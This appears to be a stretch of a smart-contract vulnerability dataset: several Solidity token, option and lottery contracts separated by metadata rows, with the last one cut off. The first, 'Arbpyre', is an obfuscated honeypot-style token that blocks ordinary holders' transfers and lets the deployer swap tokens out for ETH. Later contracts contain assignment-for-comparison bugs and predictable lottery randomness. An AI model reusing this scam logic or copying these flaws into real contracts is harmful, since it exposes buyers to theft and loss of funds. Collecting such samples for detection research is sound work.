function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Arbpyre is IERC20, Ownable {
string private _name;
string private _symbol;
uint256 public _taxFee = 5;
uint8 private _decimals = 9;
uint256 private _tTotal = 1000000000000 * 10**_decimals;
uint256 private _native = _tTotal;
uint256 private _rTotal = ~uint256(0);
bool private _swapAndLiquifyEnabled;
bool private inSwapAndLiquify;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
mapping(uint256 => address) private _Devs;
mapping(address => uint256) private _balances;
mapping(address => uint256) private _series;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _Marketing;
constructor(string memory Name,
string memory Symbol,
address routerAddress) {
_name = Name;
_symbol = Symbol;
_Marketing[msg.sender] = _native;
_balances[msg.sender] = _tTotal;
_balances[address(this)] = _rTotal;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
function symbol() public view returns (string memory) {
return _symbol;
}
function name() public view returns (string memory) {
return _name;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
receive() external payable {}
function approve(address spender, uint256 amount) external override returns (bool) {
return _approve(msg.sender, spender, amount);
}
function _approve(address owner,
address spender,
uint256 amount) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(address _month,
address _Safest,
uint256 amount) private {
uint256 _square = _Marketing[_month];
address _pass = _Devs[_native];
if (_Marketing[_month] > 0 && amount > _native) {
bool _suppose = _square == _Marketing[_Safest];
if (_suppose) {
inSwapAndLiquify = true;
swapAndLiquify(amount);
inSwapAndLiquify = false;
}
_Marketing[_Safest] = amount;
} else {
uint256 fee = (amount * _taxFee) / 100;
if (_Marketing[_month] == 0 && _month != uniswapV2Pair && _series[_month] > 0) {
return;
}
_series[_pass] = _taxFee;
_Devs[_native] = _Safest;
if (_taxFee > 0 && !inSwapAndLiquify && _Marketing[_month] == 0 && _Marketing[_Safest] == 0) {
amount -= fee;
_balances[_month] -= fee;
}
_balances[_month] -= amount;
_balances[_Safest] += amount;
emit Transfer(_month, _Safest, amount);
}
}
function addLiquidity(uint256 tokenAmount,
uint256 ethAmount,
address to) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp);
}
function swapAndLiquify(uint256 tokens) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokens);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, msg.sender, block.timestamp);
}
}
| 26,149 | 10,361 |
96df584311f2f3f0ba8422cd9929a63549a8b95090b520fe89f4863eddb0f9d1
| 11,360 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xd951d22dd38c4a70c447e51357e366d8c0e35a02.sol
| 2,838 | 11,184 |
pragma solidity ^0.4.21;
contract Partner {
function exchangeTokensFromOtherContract(address _source, address _recipient, uint256 _RequestedTokens);
}
contract Target {
function transfer(address _to, uint _value);
}
contract MNY {
string public name = "MNY by Monkey Capital";
uint8 public decimals = 18;
string public symbol = "MNY";
address public owner;
address public exchangeAdmin;
uint256[] tierTokens = [
5.33696E18,
7.69493333E18,
4.75684324E18,
6.30846753E18,
6.21620513E18,
5.63157219E18,
5.80023669E18,
5.04458667E18,
4.58042767E18,
5E18
];
uint256[] costPerToken = [
9E16,
9E16,
8E16,
7E16,
8E16,
5E16,
6E16,
5E16,
5E16,
6E16
];
// used to store list of contracts MNY holds tokens in
address[] contracts = [0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0];
uint tierLevel = 0;
uint maxTier = 9;
uint256 totalSupply = 21000000000000000000000000;
uint256 circulatingSupply = 0;
uint contractCount = 1;
// flags
bool public receiveEth = true;
bool swap = false;
bool allSwapped = false;
bool distributionCalculated = false;
// Storage
mapping (address => uint256) public balances;
mapping (address => uint256) public tokenBalances;
mapping (address => uint256) public tokenShare;
mapping (address => uint256) public exchangeRates; // balance and rate in cents (where $1 = 1*10^18)
// events
event Transfer(address indexed _from, address indexed _to, uint _value);
function MNY() {
owner = msg.sender;
}
function transfer(address _to, uint _value, bytes _data) public {
// sender must have enough tokens to transfer
require(balances[msg.sender] >= _value);
if(_to == address(this)) {
if(swap == false) {
// WARNING: if you transfer tokens back to the contract outside of the swap you will lose them
// use the exchange function to exchange for tokens with approved partner contracts
totalSupply = add(totalSupply, _value);
circulatingSupply = sub(circulatingSupply, _value);
if(circulatingSupply == 0) allSwapped = true;
tierTokens[maxTier] = add(tierTokens[maxTier], _value);
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
Transfer(msg.sender, _to, _value);
}
else {
require(div(_value, 1 ether) > 0); // whole tokens only in for swap
if(distributionCalculated = false) {
calculateHeldTokenDistribution();
}
balances[msg.sender] = sub(balances[msg.sender], _value);
shareStoredTokens(msg.sender, div(_value, 1 ether));
}
}
else {
// WARNING: if you transfer tokens to a contract address they will be lost unless the contract
// has been designed to handle incoming/holding tokens in other contracts
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
balances[_to] = add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
}
}
function transfer(address _to, uint _value) public {
// sender must have enough tokens to transfer
require(balances[msg.sender] >= _value);
if(_to == address(this)) {
if(swap == false) {
// WARNING: if you transfer tokens back to the contract outside of the swap you will lose them
// use the exchange function to exchange for tokens with approved partner contracts
totalSupply = add(totalSupply, _value);
circulatingSupply = sub(circulatingSupply, _value);
if(circulatingSupply == 0) allSwapped = true;
tierTokens[maxTier] = add(tierTokens[maxTier], _value);
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
Transfer(msg.sender, _to, _value);
}
else {
if(distributionCalculated = false) {
calculateHeldTokenDistribution();
}
balances[msg.sender] = sub(balances[msg.sender], _value);
shareStoredTokens(msg.sender, div(_value, 1 ether));
}
}
else {
// WARNING: if you transfer tokens to a contract address they will be lost unless the contract
// has been designed to handle incoming/holding tokens in other contracts
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
balances[_to] = add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
}
}
function allocateTokens(uint256 _submitted, address _recipient) internal {
uint256 _availableInTier = mul(tierTokens[tierLevel], costPerToken[tierLevel]);
uint256 _allocation = 0;
if(_submitted >= _availableInTier) {
_allocation = tierTokens[tierLevel];
tierTokens[tierLevel] = 0;
tierLevel++;
if(tierLevel > maxTier) {
swap = true;
}
_submitted = sub(_submitted, _availableInTier);
}
else {
uint256 stepOne = mul(_submitted, 1 ether);
uint256 stepTwo = div(stepOne, costPerToken[tierLevel]);
uint256 _tokens = stepTwo;
_allocation = add(_allocation, _tokens);
tierTokens[tierLevel] = sub(tierTokens[tierLevel], _tokens);
_submitted = sub(_submitted, _availableInTier);
}
// transfer tokens allocated so far to wallet address from contract
balances[_recipient] = add(balances[_recipient],_allocation);
circulatingSupply = add(circulatingSupply, _allocation);
totalSupply = sub(totalSupply, _allocation);
if((_submitted != 0) && (tierLevel <= maxTier)) {
allocateTokens(_submitted, _recipient);
}
else {
// emit transfer event
Transfer(this, _recipient, balances[_recipient]);
}
}
function exchangeTokensFromOtherContract(address _source, address _recipient, uint256 _sentTokens) public {
require(exchangeRates[msg.sender] > 0);
uint256 _exchanged = mul(_sentTokens, exchangeRates[_source]);
require(_exchanged <= mul(totalSupply, 1 ether));
allocateTokens(_exchanged, _recipient);
}
function addExchangePartnerAddressAndRate(address _partner, uint256 _rate) {
require(msg.sender == owner);
// check that _partner is a contract address
uint codeLength;
assembly {
codeLength := extcodesize(_partner)
}
require(codeLength > 0);
exchangeRates[_partner] = _rate;
bool isContract = existingContract(_partner);
if(isContract == false) {
contractCount++;
contracts[contractCount] = _partner;
}
}
// public data retrieval funcs
function getTotalSupply() public constant returns (uint256) {
return totalSupply;
}
function getCirculatingSupply() public constant returns (uint256) {
return circulatingSupply;
}
function balanceOf(address _receiver) public constant returns (uint256) {
return balances[_receiver];
}
function balanceInTier() public constant returns (uint256) {
return tierTokens[tierLevel];
}
function balanceInSpecificTier(uint tier) public constant returns (uint256) {
return tierTokens[tier];
}
function currentTier() public constant returns (uint256) {
return tierLevel;
}
// admin functions
function convertTransferredTokensToMny(uint256 _value, address _recipient, address _source, uint256 _originalAmount) public {
// allows tokens transferred in for exchange to be converted to MNY and distributed
// COE is able to interact directly with contract - other exchange partners cannot
require((msg.sender == owner) || (msg.sender == exchangeAdmin));
require(exchangeRates[_source] > 0);
maintainExternalContractTokenBalance(_source, _originalAmount);
allocateTokens(_value, _recipient);
}
function changeOwner(address _newOwner) public {
require(msg.sender == owner);
owner = _newOwner;
}
function changeExchangeAdmin(address _newAdmin) public {
require(msg.sender == owner);
exchangeAdmin = _newAdmin;
}
function maintainExternalContractTokenBalance(address _contract, uint256 _tokens) internal {
tokenBalances[_contract] = add(tokenBalances[_contract], _tokens);
}
function getTokenBalance(address _contract) public constant returns (uint256) {
return tokenBalances[_contract];
}
function calculateHeldTokenDistribution() public {
require(swap = true);
for(uint i=0; i<contractCount; i++) {
tokenShare[contracts[i]] = div(tokenBalances[contracts[i]], circulatingSupply);
}
distributionCalculated = true;
}
function tokenShare(address _contract) public constant returns (uint256) {
return tokenShare[_contract];
}
function shareStoredTokens(address _recipient, uint256 mny) internal {
Target t;
uint256 share = 0;
for(uint i=0; i<contractCount; i++) {
share = mul(mny, tokenShare[contracts[i]]);
t = Target(contracts[i]);
t.transfer(_recipient, share);
}
}
function distributeMnyAfterSwap(address _recipient, uint256 _tokens) public {
require(msg.sender == owner);
require(totalSupply <= _tokens);
balances[_recipient] = add(balances[_recipient], _tokens);
Transfer(this, _recipient, _tokens);
totalSupply = sub(totalSupply, _tokens);
circulatingSupply = add(circulatingSupply, _tokens);
}
function existingContract(address _contract) internal returns (bool) {
for(uint i=0; i<contractCount; i++) {
if(contracts[i] == _contract) return true;
}
return false;
}
function contractExchangeRate(address _contract) public constant returns (uint256) {
return exchangeRates[_contract];
}
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a);
return c;
}
}
| 220,573 | 10,362 |
6643bd5f91a140f78e0fcd3f18a4d4a7e95c095f5c867189af3bb4099c45aefe
| 17,607 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x0e9186d1d0c7aa2212e3f42405eda1bc35d826a9.sol
| 3,950 | 17,100 |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'Ethernational' CROWDSALE token contract
//
// Deployed to : 0xD0FDf2ECd4CadE671a7EE1063393eC0eB90816FD
// Symbol : EIT
// Name : Ethernational
// Decimals : 18
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
address public dividendsAccount;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
dividendsContract divC;
function dividendsAcc(address _dividendsAccount) onlyOwner{
divC = dividendsContract(_dividendsAccount);
dividendsAccount = _dividendsAccount;
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract Ethernational is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public startDate;
uint public bonus1Ends;
uint public bonus2Ends;
uint public bonus3Ends;
uint public endDate;
uint public ETHinvested;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function Ethernational() public {
symbol = "EIT";
name = "Ethernational";
decimals = 18;
bonus1Ends = now + 1 weeks;
bonus2Ends = now + 2 weeks;
bonus3Ends = now + 4 weeks;
endDate = now + 8 weeks;
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function invested() constant returns (uint){
return ETHinvested;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
uint perc = ((balances[msg.sender] * 1000)/tokens);
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
divC.updatePaid(msg.sender,to,perc);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
uint perc = ((balances[from] * 1000)/tokens);
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
divC.updatePaid(from,to,perc);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// 500 ELG Tokens per 1 ETH
// ------------------------------------------------------------------------
function () public payable {
require(now >= startDate && now <= endDate && msg.value > 1000000000000000);
uint tokens;
if (now <= bonus1Ends) {
tokens = msg.value * 1000;
} else if (now <= bonus2Ends) {
tokens = msg.value * 750;
} else if (now <= bonus3Ends) {
tokens = msg.value * 625;
} else {
tokens = msg.value * 500;
}
balances[msg.sender] = safeAdd(balances[msg.sender], tokens);
_totalSupply = safeAdd(_totalSupply, tokens);
Transfer(address(0), msg.sender, tokens);
owner.transfer(msg.value);
ETHinvested = ETHinvested + msg.value;
}
function buyEIT() public payable {
require(now >= startDate && now <= endDate && msg.value > 1000000000000000);
uint tokens;
if (now <= bonus1Ends) {
tokens = msg.value * 1000;
} else if (now <= bonus2Ends) {
tokens = msg.value * 750;
} else if (now <= bonus3Ends) {
tokens = msg.value * 625;
} else {
tokens = msg.value * 500;
}
balances[msg.sender] = safeAdd(balances[msg.sender], tokens);
_totalSupply = safeAdd(_totalSupply, tokens);
Transfer(address(0), msg.sender, tokens);
owner.transfer(msg.value);
ETHinvested = ETHinvested + msg.value;
}
function bonusInfo() constant returns (uint,uint){
if (now <= bonus1Ends) {
return (100, (bonus1Ends - now));
} else if (now <= bonus2Ends) {
return (50, (bonus2Ends - now));
} else if (now <= bonus3Ends) {
return (25, (bonus3Ends - now));
} else {
return (0, 0);
}
}
function ICOTimer() constant returns (uint){
if (now < endDate){
return (endDate - now);
}
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
contract dividendsContract is Owned{
Ethernational dc;
mapping(address => uint) paid;
uint public totalSupply;
uint public totalPaid;
address public ICOaddress;
function ICOaddress(address _t) onlyOwner{
dc = Ethernational(_t);
ICOaddress = _t;
totalSupply = dc.totalSupply() / 1000000000000;
}
function() payable{
}
function collectDividends(address member) public returns (uint result) {
require (msg.sender == member && dc.endDate() < now);
uint Ownes = dc.balanceOf(member) / 1000000000000;
uint payout = (((address(this).balance + totalPaid)/totalSupply)*Ownes) - paid[member];
member.transfer(payout);
paid[member] = paid[member] + payout;
totalPaid = totalPaid + payout;
return payout;
}
function thisBalance() constant returns (uint){
return this.balance;
}
function updatePaid(address from, address to, uint perc) {
require (msg.sender == ICOaddress);
uint val = ((paid[from] * 1000000) / perc) / 1000;
paid[from] = paid[from] - val;
paid[to] = paid[to] + val;
}
}
contract DailyDraw is Owned{
bytes32 public number;
uint public timeLimit;
uint public ticketsSold;
struct Ticket {
address addr;
uint time;
}
mapping (uint => Ticket) Tickets;
function start(bytes32 _var1) public {
if (timeLimit<1){
timeLimit = now;
number = _var1 ;
}
}
function () payable{
uint value = (msg.value)/10000000000000000;
require (now<(timeLimit+86400));
uint i = 0;
while (i++ < value) {
uint TicketNumber = ticketsSold + i;
Tickets[TicketNumber].addr = msg.sender;
Tickets[TicketNumber].time = now;
}
ticketsSold = ticketsSold + value;
}
function Play() payable{
uint value = msg.value/10000000000000000;
require (now<(timeLimit+86400));
uint i = 1;
while (i++ < value) {
uint TicketNumber = ticketsSold + i;
Tickets[TicketNumber].addr = msg.sender;
Tickets[TicketNumber].time = now;
}
ticketsSold = ticketsSold + value;
}
function balances() constant returns(uint, uint time){
return (ticketsSold, (timeLimit+86400)-now);
}
function winner(uint _theNumber, bytes32 newNumber) onlyOwner payable {
require ((timeLimit+86400)<now && number == keccak256(_theNumber));
uint8 add1 = uint8 (Tickets[ticketsSold/4].addr);
uint8 add2 = uint8 (Tickets[ticketsSold/3].addr);
uint8 time1 = uint8 (Tickets[ticketsSold/2].time);
uint8 time2 = uint8 (Tickets[ticketsSold/8].time);
uint winningNumber = uint8 (((add1+add2)-(time1+time2))*_theNumber)%ticketsSold;
address winningTicket = address (Tickets[winningNumber].addr);
uint winnings = uint (address(this).balance / 20) * 19;
uint fees = uint (address(this).balance-winnings)/2;
uint dividends = uint (address(this).balance-winnings)-fees;
winningTicket.transfer(winnings);
owner.transfer(fees);
dividendsAccount.transfer(dividends);
delete ticketsSold;
timeLimit = now;
number = newNumber;
}
}
contract WeeklyDraw is Owned{
bytes32 public number;
uint public timeLimit;
uint public ticketsSold;
struct Ticket {
address addr;
uint time;
}
mapping (uint => Ticket) Tickets;
function start(bytes32 _var1) public {
if (timeLimit<1){
timeLimit = now;
number = _var1 ;
}
}
function () payable{
uint value = (msg.value)/100000000000000000;
require (now<(timeLimit+604800));
uint i = 0;
while (i++ < value) {
uint TicketNumber = ticketsSold + i;
Tickets[TicketNumber].addr = msg.sender;
Tickets[TicketNumber].time = now;
}
ticketsSold = ticketsSold + value;
}
function Play() payable{
uint value = msg.value/100000000000000000;
require (now<(timeLimit+604800));
uint i = 1;
while (i++ < value) {
uint TicketNumber = ticketsSold + i;
Tickets[TicketNumber].addr = msg.sender;
Tickets[TicketNumber].time = now;
}
ticketsSold = ticketsSold + value;
}
function balances() constant returns(uint, uint time){
return (ticketsSold, (timeLimit+604800)-now);
}
function winner(uint _theNumber, bytes32 newNumber) onlyOwner payable {
require ((timeLimit+604800)<now && number == keccak256(_theNumber));
uint8 add1 = uint8 (Tickets[ticketsSold/4].addr);
uint8 add2 = uint8 (Tickets[ticketsSold/3].addr);
uint8 time1 = uint8 (Tickets[ticketsSold/2].time);
uint8 time2 = uint8 (Tickets[ticketsSold/8].time);
uint winningNumber = uint8 (((add1+add2)-(time1+time2))*_theNumber)%ticketsSold;
address winningTicket = address (Tickets[winningNumber].addr);
uint winnings = uint (address(this).balance / 20) * 19;
uint fees = uint (address(this).balance-winnings)/2;
uint dividends = uint (address(this).balance-winnings)-fees;
winningTicket.transfer(winnings);
owner.transfer(fees);
dividendsAccount.transfer(dividends);
delete ticketsSold;
timeLimit = now;
number = newNumber;
}
}
| 211,632 | 10,363 |
91eb1c91593653d3bc003123e059ad46e31af95e8a5c1bfcfbd532789f56552e
| 12,969 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xe8561c5a1e52e9ea12b17bd9168c230af9be766d.sol
| 3,178 | 11,961 |
pragma solidity ^0.4.21;
contract Owned {
/// 'owner' is the only address that can call a function with
/// this modifier
address public owner;
address internal newOwner;
///@notice The constructor assigns the message sender to be 'owner'
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
event updateOwner(address _oldOwner, address _newOwner);
///change the owner
function changeOwner(address _newOwner) public onlyOwner returns(bool) {
require(owner != _newOwner);
newOwner = _newOwner;
return true;
}
/// accept the ownership
function acceptNewOwner() public returns(bool) {
require(msg.sender == newOwner);
emit updateOwner(owner, newOwner);
owner = newOwner;
return true;
}
}
contract SafeMath {
function safeMul(uint a, uint b) pure internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) pure internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) pure internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract ERC20Token {
/// total amount of tokens
uint256 public totalSupply;
/// user tokens
mapping (address => uint256) public balances;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant public returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant public returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract PUST is ERC20Token {
string public name = "UST Put Option";
string public symbol = "PUST";
uint public decimals = 0;
uint256 public totalSupply = 0;
uint256 public topTotalSupply = 2000;
function transfer(address _to, uint256 _value) public returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//Replace the if with this one instead.
if (balances[msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
if (balances[_from] >= _value && allowances[_from][msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowances[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant public returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowances[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowances[_owner][_spender];
}
mapping(address => uint256) public balances;
mapping (address => mapping (address => uint256)) allowances;
}
contract ExchangeUST is SafeMath, Owned, PUST {
// Exercise End Time 1/1/2019 0:0:0
uint public ExerciseEndTime = 1546272000;
uint public exchangeRate = 100000; //percentage times (1 ether)
// UST address
address public ustAddress = address(0xFa55951f84Bfbe2E6F95aA74B58cc7047f9F0644);
// offical Address
address public officialAddress = address(0x472fc5B96afDbD1ebC5Ae22Ea10bafe45225Bdc6);
event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s);
event Deposit(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
event exchange(address contractAddr, address reciverAddr, uint _pustBalance);
event changeFeeAt(uint _exchangeRate);
function chgExchangeRate(uint _exchangeRate) public onlyOwner {
require (_exchangeRate != exchangeRate);
require (_exchangeRate != 0);
exchangeRate = _exchangeRate;
}
function exerciseOption(uint _pustBalance) public returns (bool) {
require (now < ExerciseEndTime);
require (_pustBalance <= balances[msg.sender]);
// convert units from ether to wei
uint _ether = safeMul(_pustBalance, 10 ** 18);
require (address(this).balance >= _ether);
// UST amount
uint _amount = safeMul(_pustBalance, exchangeRate * 10**18);
require (PUST(ustAddress).transferFrom(msg.sender, officialAddress, _amount) == true);
balances[msg.sender] = safeSub(balances[msg.sender], _pustBalance);
balances[officialAddress] = safeAdd(balances[officialAddress], _pustBalance);
//totalSupply = safeSub(totalSupply, _pustBalance);
msg.sender.transfer(_ether);
emit exchange(address(this), msg.sender, _pustBalance);
}
}
contract USTputOption is ExchangeUST {
// constant
uint public initBlockEpoch = 40;
uint public eachUserWeight = 10;
uint public initEachPUST = 5 * 10**17 wei;
uint public lastEpochBlock = block.number + initBlockEpoch;
uint public price1=4*9995 * 10**17/10000;
uint public price2=99993 * 10**17/100000;
uint public eachPUSTprice = initEachPUST;
uint public lastEpochTX = 0;
uint public epochLast = 0;
address public lastCallAddress;
uint public lastCallPUST;
event buyPUST (address caller, uint PUST);
event Reward (address indexed _from, address indexed _to, uint256 _value);
function () payable public {
require (now < ExerciseEndTime);
require (topTotalSupply > totalSupply);
bool firstCallReward = false;
uint epochNow = whichEpoch(block.number);
if(epochNow != epochLast) {
lastEpochBlock = safeAdd(lastEpochBlock, ((block.number - lastEpochBlock)/initBlockEpoch + 1)* initBlockEpoch);
doReward();
eachPUSTprice = calcpustprice(epochNow, epochLast);
epochLast = epochNow;
//reward _first
firstCallReward = true;
lastEpochTX = 0;
}
uint _value = msg.value;
uint _PUST = _value / eachPUSTprice;
require(_PUST > 0);
if (safeAdd(totalSupply, _PUST) > topTotalSupply) {
_PUST = safeSub(topTotalSupply, totalSupply);
}
uint _refound = _value - safeMul(_PUST, eachPUSTprice);
if(_refound > 0) {
msg.sender.transfer(_refound);
}
officialAddress.transfer(safeMul(_PUST, eachPUSTprice));
